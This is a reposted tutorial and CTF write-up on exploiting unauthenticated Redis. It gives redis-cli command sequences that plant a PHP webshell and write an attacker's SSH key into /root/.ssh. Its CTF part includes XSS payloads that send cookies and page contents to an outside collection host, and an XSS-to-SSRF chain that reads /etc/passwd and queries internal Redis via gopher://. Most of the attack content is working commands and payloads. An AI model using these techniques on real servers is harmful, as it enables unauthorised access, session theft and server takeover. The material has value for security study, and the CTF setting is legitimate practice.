ホームページ > データベース > Redis > Redis の不正アクセスの概要

Redis の不正アクセスの概要

リリース: 2020-05-14 09:24:06
転載
3166 人が閲覧しました

Redis の不正アクセスの概要

Redis は、キーと値のペアとしてキーと値を使用する非リレーショナル データベースです。

redis は、ANSI C 言語で書かれたオープンソースのログタイプの Key-Value データベースで、BSD プロトコルに準拠し、ネットワークをサポートし、メモリベースで永続化でき、複数の言語で API を提供します。

これは、値が文字列、ハッシュ、マップ、リスト、セット、ソートされたセットなどのタイプになる可能性があるため、データ構造サーバーと呼ばれることがよくあります。

インストール サービス

win

ダウンロード アドレス: https://github.com/MSOpenTech/redis/releases
テスト環境:

オペレーティング システム: win7
ip:192.168.107.144

Redis の不正アクセスの概要

##コマンド ライン入力


redis-server.exe redis.conf
ログイン後にコピー

Redis の不正アクセスの概要##次に、ポートを確認します

##6379 ポート (redis のデフォルト ポート) が開いていますRedis の不正アクセスの概要

redis が正常に開始されました

ubuntu

インストール

sudo apt-get update
sudo apt-get install redis-server
ログイン後にコピー

サービスの開始

redis-server
ログイン後にコピー

基本コマンド

redisの接続

redis-cli.exe -h 192.168.107.144
ログイン後にコピー

Viewキーはxです値

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"
ログイン後にコピー

すべてのキーを取得

redis 192.168.107.144:6379> keys *
1) "x"
ログイン後にコピー

すべてのキーを削除

redis 192.168.107.144:6379>flushall
ログイン後にコピー

エクスプロイト

このマシンはtelnetコマンドを積極的に実行しますターゲット マシンに接続します

または redis-cli.exe -h 192.168.107.144Redis の不正アクセスの概要

接続に成功しましたRedis の不正アクセスの概要

情報を入力して関連情報を取得します

#Redis のバージョン番号などを確認できます。

使用方法

Redis の不正アクセスの概要

webshel​​l で文を書く

  • SSH 公開キーを書く

  • #シェルを書く

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save
ログイン後にコピー
ターゲット マシンへの書き込みに成功しました

Redis の不正アクセスの概要

SSH 公開キーを書き込みます

キーをローカルに

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
ログイン後にコピー
Redis の不正アクセスの概要

#次に、ssh 公開キーをターゲット マシンに書き込みます

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存
ログイン後にコピー

そして、ローカルで ssh に接続します

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
ログイン後にコピー

Redis の不正アクセスの概要

CTF の Redis (XSS->SSRF&Gopher->Redis)

タイトルは

タイトル アドレスです: https://hackme.inndy.tw/scoreboard/

xeeme

Redis の不正アクセスの概要

リーク

で見つかりましたrobots.txt 漏洩したソース コード

# は暗号化された config.php

1Redis の不正アクセスの概要

xss Cookie 設定

登録とログイン後のインターフェース 1Redis の不正アクセスの概要

#電子メールの送信には検証が必要です

#検証用のスクリプトを作成するだけです1Redis の不正アクセスの概要

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>
ログイン後にコピー

次にフィルタリングしますいくつかのこと

1Redis の不正アクセスの概要#img でテスト

#onload もフィルタリングされます

1Redis の不正アクセスの概要

#ここで詳細に気づきました。フィルタリングされるのはスペースと onerror です。onerror とスペースが一致する場合にのみフィルタリングされると思います。そのため、スペースなしで onerror を構築し、ペイロードを試します

<img  src=""onerror="document.location=&#39;http://vps/?a=&#39;+document.cookie" alt="Redis の不正アクセスの概要" >
ログイン後にコピー

を入力してから Cookie をヒットします。正常にヒットしました cookie

Redis の不正アクセスの概要

Decode SESSION

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
ログイン後にコピー
Redis の不正アクセスの概要

xssrf Leak

前の質問のCookieによると、FLAG_2=IN_THE_REDIS

同じ環境ですRedis の不正アクセスの概要

管理者のCookieを取得したのでログインしました

Redis の不正アクセスの概要

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Redis の不正アクセスの概要" >
ログイン後にコピー

Redis の不正アクセスの概要

发现innerhtml被过滤

于是html编码

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Redis の不正アクセスの概要" >
ログイン後にコピー

发现收到请求

Redis の不正アクセスの概要

解个码,放在本地

Redis の不正アクセスの概要

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://vps?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
ログイン後にコピー

vps收到请求

Redis の不正アクセスの概要

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>
ログイン後にコピー

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
ログイン後にコピー

成功读到/etc/passwd

Redis の不正アクセスの概要

于是读之前的config.php

Redis の不正アクセスの概要

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">
ログイン後にコピー

Redis の不正アクセスの概要

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
ログイン後にコピー

1Redis の不正アクセスの概要

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
ログイン後にコピー

1Redis の不正アクセスの概要

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
ログイン後にコピー

1Redis の不正アクセスの概要

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
ログイン後にコピー

1Redis の不正アクセスの概要

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
ログイン後にコピー

1Redis の不正アクセスの概要

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)
ログイン後にコピー

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址:https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

以上がRedis の不正アクセスの概要の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:先知社区
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート